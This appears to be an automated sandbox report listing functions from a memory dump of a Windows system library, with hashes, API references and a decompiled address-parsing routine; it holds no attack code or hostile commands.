Instruction Fuzzy Hash: 87012C71A0520DAFDB10CA95C8459EFB3FCEB46714F614066E911E7100EB70EE55C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6A9F0D50,00000074,6A9D20A2,?,?,6A9CFFAF,00000001,00000020,6AA058C0,00000000), ref: 6A9C8E2A
RtlRaiseException.1105(?), ref: 6A9C8E74

Strings

Critical error detected %lx, xrefs: 6A9C8E21

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 7090482c6e166482f5965ea09b716cbf305aa3add8597d0424527180a9b9db3e
Instruction ID: 4a3fa50b77bdf6e9ce377402bac9af2b0a5bb2b588940688059e696c7a0c3dd2
Opcode Fuzzy Hash: 7090482c6e166482f5965ea09b716cbf305aa3add8597d0424527180a9b9db3e
Instruction Fuzzy Hash: 84117971C05748EADB29CFA8850579CBBF4AF04314F30825ED1296B382DB348602CF16

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DE2C5, Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_aullshr.1105(-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000,00000000,?,?,6A9D2783,00000001), ref: 6A9DE325
RtlAcquireSRWLockShared.1105(0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6A9DE45E
RtlReleaseSRWLockShared.1105(0000000C,0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6A9DE48D

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease_aullshr
String ID:
API String ID: 815091738-0
Opcode ID: 03a096029b50bb06b4a94c35d4713b45224bbc3d786eb5fd0a0f374bc5d0e47f
Instruction ID: ff4110c70bbf560f02efed9c7b0d1f8e112a1748804c13cdb2bb86a004e09482
Opcode Fuzzy Hash: 03a096029b50bb06b4a94c35d4713b45224bbc3d786eb5fd0a0f374bc5d0e47f
Instruction Fuzzy Hash: 1361A571A0091A9F8B14DFADC4805ADF7F6FB8A324725836AD425E73D0DB34D982CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A94E730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000), ref: 6A94E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D,6A9F09B0,00000014,6A92EBD8,?,?,?,00000000), ref: 6A94E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6A9AFF7D), ref: 6A94E7A3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: d851f9292d7a62cd11d9076cf94f5d597a50c29f5e92ef5440ff8f785cdcde93
Instruction ID: f30e335a23d131c3841e538efcf8c921e596544f6574bdbcad66015e0410ab11
Opcode Fuzzy Hash: d851f9292d7a62cd11d9076cf94f5d597a50c29f5e92ef5440ff8f785cdcde93
Instruction Fuzzy Hash: D2316F75A54249AFDB44CF58C845F9AB7E4FB0A324F258256F914CB341DB31ED90CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E1D55, Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d8dd07c11d1a5f74bfee779e08ede05003f41b7c1d5ded476935249e3b3282b
Instruction ID: 40eec26c53c532998ce8af266c1b3c67b9750817922e27d086b0154a777388d5
Opcode Fuzzy Hash: 3d8dd07c11d1a5f74bfee779e08ede05003f41b7c1d5ded476935249e3b3282b
Instruction Fuzzy Hash: D0815B71E002199FDB19CFA8C4809ECB7B5FF5A314B344659E421EB396DB31D945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A936E30, Relevance: 1.7, APIs: 1, Instructions: 481COMMON

Download Yara Rule

APIs

memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6A936F17

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: b026a3e950c56152fb78fbdb9b4749275e3cfddb94375e3f27bcf0d2a6e081c2
Instruction ID: be28dfed7ac2a0b21b2f0756ee1f4aa2357e585ca36a50fb44749c9a9d39c582
Opcode Fuzzy Hash: b026a3e950c56152fb78fbdb9b4749275e3cfddb94375e3f27bcf0d2a6e081c2
Instruction Fuzzy Hash: 11027C71D04229DBCB24CF99C484AADB7F6EF45704F32842EE825AB251EF70D891CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9435D0, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105 ref: 6A9860B6

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: 30eed5ecc1f84c9a780fde9b3728efd9a2197b3efb681f3882fcb92c5885e314
Instruction ID: 609be1b3b553b73dd448dd7a8f85fe5b60d6c3427bcea886dc2fa048d712312c
Opcode Fuzzy Hash: 30eed5ecc1f84c9a780fde9b3728efd9a2197b3efb681f3882fcb92c5885e314
Instruction Fuzzy Hash: 98612770624611AFEB248E3AC945B37F3E5EB45304F318959EAA28F2C5DF74E841CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D67E2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27140ac88ed7775e4a49485385c6d2f2537f1b74a349b3785f09252c78a951a4
Instruction ID: 1589a55f2869c6ab0a7a5a724ca97e2a03b1d98450a2199ffec71bd514b702ce
Opcode Fuzzy Hash: 27140ac88ed7775e4a49485385c6d2f2537f1b74a349b3785f09252c78a951a4
Instruction Fuzzy Hash: 80021334228E519AD764DF2DC440271BBF1EF46300B21C59ADAE5CF2A1DB39E8D6DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A92B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: a5f382bd95f9b1653119a54adf1c7e4f4ababad302f5face109e66b69000d4b3
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: F6D1EE31B693069BFB61CE28C4C065AB7F9AF96314B398168DC64CB24FEF31D8418760

Uniqueness

Uniqueness Score: -1.00%

Function 6A910D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd01043dfd6da102ed22ad1e76c05e68f4cfd9f2a851ea58be11ba44bdc890d
Instruction ID: 8c87d311e65caaff2b27395933d8e1ee019cacbceb515f1431cb48410341673d
Opcode Fuzzy Hash: 4fd01043dfd6da102ed22ad1e76c05e68f4cfd9f2a851ea58be11ba44bdc890d
Instruction Fuzzy Hash: 7CD1AD30E4C21DABEB18CE99D5D17ADBBB5AF46300F318029D461A7385DB76CDA1CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A948840, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction ID: a8f857ef9f1bc1a3606bea69cafd5259858a2313be51a16199b29b4281db7893
Opcode Fuzzy Hash: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction Fuzzy Hash: 50B13C62B585119BD71C8918C8A537E3267EFD6310F3ACA69C9225F7D9DE38C9019382

Uniqueness

Uniqueness Score: -1.00%

Function 6A94EBB0, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 0c5f158c7ba0934f6d5d7474d0e7e31c3123723b85b3aafe4e135170837c336b
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 1C816861A483568BEB248E6CC4D02EEBB74EF53704F3D4ABAD8518F742CA24D846D791

Uniqueness

Uniqueness Score: -1.00%

Function 6A93AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d89d16aa549da58fa59a9169e32e0646f450b5278a8b37d8877b5c27b3576c
Instruction ID: 5a7b2e353f4ff30eb8f4b143bac7e9cbdea8c08260cd11d81222f6da919c8c7e
Opcode Fuzzy Hash: e3d89d16aa549da58fa59a9169e32e0646f450b5278a8b37d8877b5c27b3576c
Instruction Fuzzy Hash: 9181F632A002299FDF14CE69C49076AB7F5FF81315F264299D860AFB81CA32ED40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CFA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b87dadb4d5560fe797427ee3593ad5a9349e4faa0e79d09623d0e96efb83232
Instruction ID: 8d8d71af5d2f170a4633e067b2ddeed6dc3974ef1e468d6790bdf217a0ba8cd2
Opcode Fuzzy Hash: 0b87dadb4d5560fe797427ee3593ad5a9349e4faa0e79d09623d0e96efb83232
Instruction Fuzzy Hash: 46818F70A44B459FDB18CF59C4406B9FBF5FF09308F60815AE856AB681EB38D881CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D1002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce9f4a921932204ece417c6f916ec7e6f8ddb1df380fc948c795729606276589
Instruction ID: df8ee03d7f63655cb7405d6fd8b43f926a0b0835420f9698a446541a0a951e00
Opcode Fuzzy Hash: ce9f4a921932204ece417c6f916ec7e6f8ddb1df380fc948c795729606276589
Instruction Fuzzy Hash: F271AC36A00B62CBDB18EF55C49023AB3F5FB46304B71C46ED9A2C7260DB71E995DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E32A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c69ce44fad515b3d2beb8c3e20a69c3df7990fe4f3cc8736b747e38d31c421a4
Instruction ID: 9d088d2f5cb98046d3da58cc2fc82e0e6d8e64f7d3012a24d0899ab36f1b1f54
Opcode Fuzzy Hash: c69ce44fad515b3d2beb8c3e20a69c3df7990fe4f3cc8736b747e38d31c421a4
Instruction Fuzzy Hash: 0C21E5326142058FD71ACE39C880A67F7A6FF95314BA29578D960C72A7DF70E886C790

Uniqueness

Uniqueness Score: -1.00%

Function 6A94ABD8, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction ID: 282e0523812534f3154a7770f74ce824071d352b4bf35a595346016e668e94ed
Opcode Fuzzy Hash: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction Fuzzy Hash: B421E7302086169BDB688F29C4946E2B7E9EF96309F61812AD4D587A41DB20F806CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A946B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: e99fc2f9984f329751c62f7dbbea8fa791ce16bf48d73c3fff020a6e13dc1576
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: A6F062B5A08209DFDB58CF44C994BACB7B5EB44710F3140BCE6169B700DA39EE00DB40

Uniqueness

Uniqueness Score: -1.00%

Function 6A916CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A916CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6A916D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6A95CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6A95CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6A95CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6A95CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6A95CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6A95CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6A95CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6A95CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6A95CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6A95CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6A95CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6A95CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6a916ca5
0x6a916cb0
0x6a916cef
0x6a916cef
0x6a916cc4
0x6a916cc4
0x6a916cc6
0x6a916cc8
0x6a916ccb
0x6a916cce
0x6a916cd1
0x6a916cd4
0x6a916cfd
0x6a916cfe
0x6a916cfe
0x6a916cdc
0x6a916ce9
0x6a971c19
0x6a971c1e
0x6a971c1f
0x6a971c22
0x6a971cc3
0x6a971cc3
0x6a971cc6
0x6a971e20
0x6a971e20
0x00000000
0x6a971ccc
0x6a971ccc
0x6a971cd0
0x00000000
0x6a971cd6
0x6a971cd6
0x6a971cd7
0x6a971cda
0x6a971cdd
0x00000000
0x6a971ce3
0x6a971ce3
0x6a971ce4
0x6a971ce9
0x6a971cea
0x6a971ced
0x6a971cef
0x6a971cef
0x6a971cf2
0x6a971cf9
0x6a971cfb
0x6a971cfd
0x6a971cff
0x6a971d05
0x6a971d05
0x6a971d08
0x6a971d08
0x6a971d01
0x6a971d01
0x6a971d03
0x00000000
0x00000000
0x6a971d03
0x6a971cff
0x6a971d0b
0x6a971d0d
0x6a971d10
0x6a971d12
0x00000000
0x6a971d18
0x6a971d18
0x6a971d1c
0x6a971d1c
0x6a971d20
0x6a971d25
0x6a971d26
0x6a971d28
0x6a971d76
0x6a971d78
0x6a971d79
0x6a971d7d
0x00000000
0x6a971d83
0x6a971d84
0x6a971d89
0x6a971d8a
0x6a971d8c
0x00000000
0x6a971d92
0x6a971d93
0x6a971d99
0x6a971d9b
0x00000000
0x6a971da1
0x6a971da2
0x6a971da7
0x6a971da8
0x6a971daa
0x6a971dbb
0x6a971dbb
0x6a971dac
0x6a971dad
0x6a971db3
0x6a971db5
0x00000000
0x6a971db7
0x6a971db7
0x6a971db7
0x6a971db5
0x6a971dc3
0x6a971dc9
0x6a971dcb
0x6a971dd0
0x00000000
0x6a971dd6
0x6a971dd6
0x6a971ddb
0x6a971de0
0x6a971de1
0x6a971de3
0x6a971df4
0x6a971df4
0x6a971de5
0x6a971de6
0x6a971dec
0x6a971dee
0x00000000
0x6a971df0
0x6a971df0
0x6a971df0
0x6a971dee
0x6a971dfd
0x6a971dfe
0x6a971e05
